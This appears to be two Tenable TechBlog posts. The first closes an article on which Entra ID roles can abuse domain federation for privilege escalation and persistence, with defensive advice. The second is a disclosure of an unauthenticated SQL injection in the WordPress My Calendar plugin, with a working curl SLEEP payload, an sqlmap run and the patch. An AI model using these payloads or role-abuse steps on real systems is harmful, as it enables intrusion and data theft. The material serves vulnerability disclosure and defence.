API endpoint: Update internalDomainFederation

Attempts were:

✅ allowed for:

• Global Administrator
• Security Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Hybrid Identity Administrator
• Partner Tier1 Support

So, exactly the same results as for creating a federated domain with New-MgDomainFederationConfiguration shown above.

Remarks on inconsistency

🔍 I have no clue how Entra roles and permissions are implemented, nor used, by Entra ID but I noticed something strange. I feel like some operations are explicitly allowed to some roles instead of based on the exact permissions they contain. For example, while Security Administrator and Hybrid Identity Administrator contain exactly the same 3 permissions under “microsoft.directory/domains/*”, the former is allowed to Create internalDomainFederation with the Graph API (using New-MgDomainFederationConfiguration) whereas the latter is not.

Similarly, while Domain Name Administrator and Partner Tier2 Support both contain the “microsoft.directory/domains/allProperties/allTasks” permission, the former is forbidden to call Set-MsolDomainAuthentication while the latter is allowed.

🤔 I also noticed that some roles were forbidden to do some of the mentioned operations by the old 🟥 Provisioning API (MSOL) while the newer 🟦 Azure AD Graph and 🟩 MS Graph APIs allow it, and the contrary too.

Full chain

So, in summary, if you remember the goal of this article 😉, what are the roles actually required to perform this attack end-to-end?

If a verified custom domain is not already present, the attacker will need to be assigned either:

• Global Administrator
• Domain Name Administrator
• Partner Tier2 Support

However, if a verified custom domain is already present, the attacker will need to be assigned either:

• Global Administrator
• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

😨 As you can see, Global Administrator is far from being the only role allowing to compromise Entra ID by abusing the federation feature! In my opinion, the most dangerous roles in these lists are “External Identity Provider Administrator” and “Domain Name Administrator” because they are not identified as 💥privileged by Microsoft, and thus, are subject to less scrutiny and security efforts.

I believe that it comes from the fact that none of the Entra permissions that seem related to domains and federation configuration are identified as privileged by Microsoft. I wish I could have identified the exact Entra permission(s) allowing this, by testing them one by one in an Entra custom role, but unfortunately only a subset of permissions is currently supported in custom roles and none are in this subset.

I contacted MSRC (VULN-113566) suggesting to mark these permissions, “microsoft.directory/domains/allProperties/allTasks” and “microsoft.directory/domains/federation/update”, as privileged but they will not be doing it as they consider their baseline is correct even though some customers may have different interpretations.

You can also notice that an already existing custom domain is useful to attackers since it allows them to skip the domain creation and verification steps, which is stealthier, and makes the attack possible with more roles. However, it causes temporary disruptions for users who normally authenticate via the abused domain, so it is also less stealthy.

Recommendations for defense

The goal of this article was not to make you discover how federation itself can be abused, since great researchers have already done this a year ago, but still, you may wonder how to defend against such an attack.

Microsoft has long recommended to migrate away from federated authentication to managed authentication, however as we saw, even if an organization is not using (anymore) federated authentication, an attacker could still re-enable it.

🤔 First of all, apply the principle of least privilege and be mindful of whom you assign the roles mentioned previously (that was the goal of this article, do you remember? 😅). I hope I have convinced you that Global Administrator is not the only sensitive role.

🔍 Second, you should audit and monitor the federated domains (including their federation configuration(s)) in your Entra ID to detect the potential backdoors (already present, or to be added). Especially if your organization is not using (anymore) federated authentication. One of the available solutions is of course Tenable Identity Exposure which offers many Indicators of Exposure dedicated to this subject (“Known Federated Domain Backdoor”, “Federation Signing Certificates Mismatch”, “Federated Domains List”, “Unusual Federation Signing Certificate Validity Period”, “Unverified Domain”). Microsoft has also published a guide describing how to “Monitor changes to federation configuration in your Microsoft Entra ID” but which leaves up to you the analysis of the federation configuration when an event occurs. Changes in federated domains, and the associated federation configurations, are normally rare so any event should be properly investigated.

🆘 Third, in case of a suspected or confirmed attack, it is highly recommended to seek assistance from incident response specialists with expertise on Entra ID to help identify the extent of the attack including the other potential means of persistence of the attacker. You can follow this remediation guide from Microsoft “Emergency rotation of the AD FS certificates”.

Conclusion

We have seen together that several built-in Entra roles can be leveraged by attackers to abuse the federation feature to elevate their privileges and persist in an Entra tenant. Of course, the most famous role, Global Administrator, is one of them, but these can also be used: Security Administrator, Hybrid Identity Administrator, External Identity Provider Administrator, Domain Name Administrator, and Partner Tier2 Support. Microsoft still has not identified all of them as privileged, so be careful when assigning these roles in your organization: assigned users may have more power than you think! 💥

Entra Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze an unauthenticated sql injection vulnerability found in the MyCalendar plugin.

This was discovered by Tenable Research while working on web application security.

Reference: https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
Tenable TRA : https://www.tenable.com/security/research/tra-2023-40
Affected Versions: < 3.4.22
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVSSv3 Score: 8.6

My Calendar does WordPress event management with richly customizable ways to display events. The plugin supports individual event calendars within WordPress Multisite, multiple calendars displayed by categories, locations or author, or simple lists of upcoming events.

Vulnerable Code:

The vulnerability is present in the function my_calendar_get_events() of ./my-calendar-events.php file which is called when a request is made to the function my_calendar_rest_route() of ./my-calendar-api.php file.

Here is the interesting code part, it is quite huge so I just have to keep the interesting part for the article :

// ./my-calendar-events.php
function my_calendar_rest_route( WP_REST_Request $request ) {
 $parameters = $request->get_params();
 $from       = sanitize_text_field( $parameters['from'] );
 $to         = sanitize_text_field( $parameters['to'] );
 [...]

 $events     = my_calendar_events( $args );

 return $events;
}

function my_calendar_events( $args ) {
 [...]
 $events        = my_calendar_get_events( $args );
 
 [...]
}

// ./my-calendar-api.php
function my_calendar_get_events( $args ) {
 $from     = isset( $args['from'] ) ? $args['from'] : '';
 $to       = isset( $args['to'] ) ? $args['to'] : '';

 [...]

 $from = mc_checkdate( $from );
 $to   = mc_checkdate( $to );
 if ( ! $from || ! $to ) {
  return array();
 }

 [...] 
 WHERE $select_published $select_category $select_location $select_author $select_host $select_access $search
  AND ( DATE(occur_begin) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
   OR DATE(occur_end) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
   OR ( DATE('$from')
 [ ...]

 return apply_filters( 'mc_filter_events', $arr_events, $args, 'my_calendar_get_events' );
}

When we look at the function in its entirety, the first thing that catches our eye is to see that raw SQL queries without the use of wpdb->prepare() are executed with variables such as from & to which correspond to user inputs.

Looking at the code, can see that mc_checkdate() is called on from & to and if the result is not valid for both, a return is made before executing the SQL query.

Let’s take a closer look at this function :

function mc_checkdate( $date ) {
 $time = strtotime( $date ); # <= Is a bool(false). The error is actually here, this is what allows the payload to pass
 $m    = mc_date( 'n', $time ); # <= eq to 11
 $d    = mc_date( 'j', $time ); # <= eq to 23 (current day number)
 $y    = mc_date( 'Y', $time ); # <= eq to 2023

 // checkdate is a PHP core function that check the validity of the date
 return checkdate( $m, $d, $y ); # <= So this one eq 1
}

 */
function mc_date( $format, $timestamp = false, $offset = true ) {
 if ( ! $timestamp ) {
  $timestamp = time();
 }
 if ( $offset ) {
  $offset = intval( get_option( 'gmt_offset', 0 ) ) * 60 * 60; # <= No importance for the test, we can leave it at 0
 } else {
  $offset = 0;
 }
 $timestamp = $timestamp + $offset;

 # So in the end returns the value of gmdate( $format, $timestamp );
 return ( '' === $format ) ? $timestamp : gmdate( $format, $timestamp );
}

For simplicity, we can take the vulnerable code locally to observe a more detailed behavior :

This simple error therefore allows our SQL payload to bypass this check and be inserted into the SQL query.

Proof of Concept:

time curl "https://WORDPRESS_INSTANCE/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+'a'%3d'a"
{}
real    0m3.068s
user    0m0.006s
sys    0m0.009s

Exploitation:

sqlmap -u "http://192.168.1.27/?rest_route=/my-calendar/v1/events&from=1*" --current-db --dbms=MySQL
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.9#pip}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:48:00 /2023-12-21/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]

[09:48:02] [INFO] testing connection to the target URL
[...]
[09:48:08] [INFO] URI parameter '#1*' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="to")
[...]
[09:48:08] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[...]
[09:48:38] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[...]
[09:48:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:48:54] [INFO] fetching current database
[09:48:54] [INFO] retrieved: 'wasvwa'
current database: 'wasvwa'

Patch :

For backwards compatibility reasons, the author of the plugin decided to modify the mc_checkdate() function rather than using wpdb->prepare()

function mc_checkdate( $date ) {
 $time = strtotime( $date );
 $m    = mc_date( 'n', $time );
 $d    = mc_date( 'j', $time );
 $y    = mc_date( 'Y', $time );

 $check = checkdate( $m, $d, $y );
 if ( $check ) {
  return mc_date( 'Y-m-d', $time, false );
 }

 return false;
}

Adding this additional check is sufficient to correct the vulnerability.

WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360) was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.